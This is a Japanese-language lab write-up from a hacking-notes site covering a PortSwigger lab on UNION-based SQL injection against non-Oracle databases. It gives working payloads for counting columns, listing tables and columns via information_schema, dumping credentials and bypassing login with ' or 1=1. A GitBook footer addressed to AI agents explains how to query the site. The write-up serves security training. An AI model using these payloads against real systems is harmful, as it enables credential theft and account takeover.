> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/non-oracle-database-enumeration.md).

# Oracle以外のデータベース列挙

PortSwigger Web Security Academy のラボ向けメモ。Oracle以外のデータベース列挙に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### SQLインジェクション攻撃、非Oracleデータベースでのデータベース内容の一覧表示

#### 背景

* 脆弱なパラメータ： `カテゴリ` フィルタ（〜経由のインジェクション `WHERE`).
* アプリケーションは応答内にSQL結果を返すため、 `UNION`ベースの抽出が可能。

#### 目的

* 認証情報を含むテーブル名を特定し、その列を見つけ出し、抽出する `username` / `パスワード` ペアを取得し、〜として接続する `administrator`.

#### 手法（簡潔な段階）

1. **列数を決定する**/ 例：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* エラーが発生するまでインデックスを増やす → ～の列数を把握する `UNION`.

2. **検証 `UNION SELECT`**/ 例（2列）：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* 返されたN列に合わせて調整する（使用 `NULL` 不要な列には使用する）。

3. \*\* テーブルを一覧表示\*\*（Oracle以外のベース — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* 次のテーブルを一覧表示できる `public` スキーマ（Postgres/MySQL互換）。

4. 特定したテーブルの列を一覧表示する

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* 置き換え `users_arejzy` 発見したテーブルを用いて。

5. 内容を抽出（ダンプ）

例（特定された列：password/ qxbwwb、username/ lidnwi）：

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* 脆弱なリクエストに応じて列の順序/型を調整する（必要に応じて `CAST`/`CONCAT`/`NULL` 使用する）。

6. バイパス / ログイン

* username = administrator とパスワードを取得したら、認証ページから接続する。
* あるいは、テーブルへ直接アクセスできない場合は認証バイパス用のペイロードを使用する（例：username = ' or 1=1-- -）。ただし、証拠としては直接の漏えいの方が望ましい。

#### 期待される結果

* テーブル名、列名の一覧、その後認証情報をダンプする。
* としての接続に成功 `administrator` 漏えいした認証情報を使用して。

#### 影響

* アカウントの侵害（管理者なら完全な権限昇格）、機密情報の抽出、データの変更/削除、恐喝の可能性。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
